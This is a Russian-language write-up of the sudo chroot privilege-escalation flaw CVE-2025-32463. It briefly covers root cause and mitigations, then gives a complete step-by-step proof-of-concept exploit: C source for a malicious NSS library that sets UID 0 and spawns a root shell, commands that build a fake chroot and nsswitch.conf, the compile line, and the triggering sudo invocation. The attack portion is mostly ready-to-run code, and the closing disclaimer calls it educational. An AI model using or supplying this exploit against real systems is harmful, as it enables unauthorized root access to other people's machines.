CVE-2025-32463 - Повышение привилегий в sudo

Уязвимость повышения привилегий существует в sudo, затрагивающая системы на базе Linux/Unix. Ошибка возникает из-за неправильной проверки путей, когда sudo используется с опцией -R (--chroot), что позволяет злоумышленникам повысить привилегии до root через загрузку вредоносной библиотеки NSS.

Корневая причина

• Когда sudo выполняет команду внутри chroot-окружения (опция -R), оно неправильно обрабатывает загрузку библиотеки NSS (Name Service Switch) при возникновении ошибок.
• Неправильная проверка путей (например, неспособность очистить LD_LIBRARY_PATH или пути в /etc/nsswitch.conf) может привести к загрузке вредоносной библиотеки вместо легитимной библиотеки NSS (например, libnss_files.so).
• Это приводит к выполнению произвольного кода с привилегиями root.

Воздействие

• Злоумышленники с локальным доступом могут использовать это для получения привилегий root.

Смягчение

1. Обновите sudo до последней исправленной версии.
2. Ограничьте права sudo (по возможности ограничьте использование chroot).
3. Проверьте переменные окружения:
   • Ограничьте LD_LIBRARY_PATH.
   • Защитите /etc/nsswitch.conf.
4. Примените secure_path в /etc/sudoers, чтобы ограничить пути поиска библиотек.

Технические детали

Обзор уязвимости

CVE ID: CVE-2025-32463
Затронутые версии: Sudo 1.9.14 – 1.9.17
Оценка CVSS: 9.8 (Критическая)
Воздействие: Локальное повышение привилегий до root

Порядок атаки

1. Злоумышленник создает вредоносную библиотеку NSS
2. Настраивает поддельное chroot-окружение
3. Вызывает ошибочное состояние sudo
4. Sudo загружает библиотеку, контролируемую злоумышленником
5. Вредоносный код выполняется с привилегиями root

Шаги эксплуатации

Шаг 1: Проверка уязвимости

Если выводится No such file or directory, значит система уязвима: sudo -R invalid invalid sudo: invalid: No such file or directory

Шаг 2: Создание временного рабочего пространства

Сначала создаем временный каталог для работы: TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR Это создает уникально именованный временный каталог и переходит в него. Команда mktemp гарантирует, что мы не вмешиваемся в существующие системные файлы.

Шаг 3: Создание вредоносной библиотеки

Нам нужно создать C-файл (bridge90.c), который будет скомпилирован во вредоносную библиотеку:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void bridge(void) {
  setreuid(0,0);  // Установить реальный и эффективный идентификатор пользователя в root
  setregid(0,0);  // Установить реальный и эффективный идентификатор группы в root
  chdir("/");     // Перейти в корневой каталог
  execl("/bin/sh", "sh", "-c", "/bin/bash", NULL);  // Запустить оболочку
}

Ключевые компоненты:

• __attribute__((constructor)) гарантирует, что функция выполняется при загрузке библиотеки
• setreuid и setregid повышают привилегии до root
• execl порождает оболочку bash

Шаг 4: Настройка среды эксплуатации

mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c Разбор:

• Создание поддельного chroot-окружения в bridge/etc
• Изменение nsswitch.conf для указания на наш вредоносный путь
• Копирование настоящего файла /etc/group для сохранения легитимности
• Создание каталога для нашей вредоносной библиотеки
• Компиляция C-кода в разделяемую библиотеку с именем, соответствующим соглашениям NSS (Name Service Switch)

Шаг 5: Выполнение эксплойта

sudo -R bridge bridge

Эта команда пытается использовать нашу подстроенную среду:

• Первый bridge — это chroot-каталог, содержащий нашу вредоносную конфигурацию
• Второй bridge — это команда для выполнения (которая загрузит нашу библиотеку)

Шаг 6: Проверка повышения привилегий

После успешной эксплуатации проверьте доступ root:

whoami # Должен вернуть "root" id -u # Должен вернуть "0" (UID root)

graph LR
    A[Malicious Library] --> B[Fake Chroot]
    B --> C[Trigger Error]
    C --> D[Library Load]
    D --> E[Root Execution]

Отказ от ответственности

Этот эксплойт PoC предназначен только для образовательных целей! Я не несу ответственности за любое неправильное использование этого эксплойта!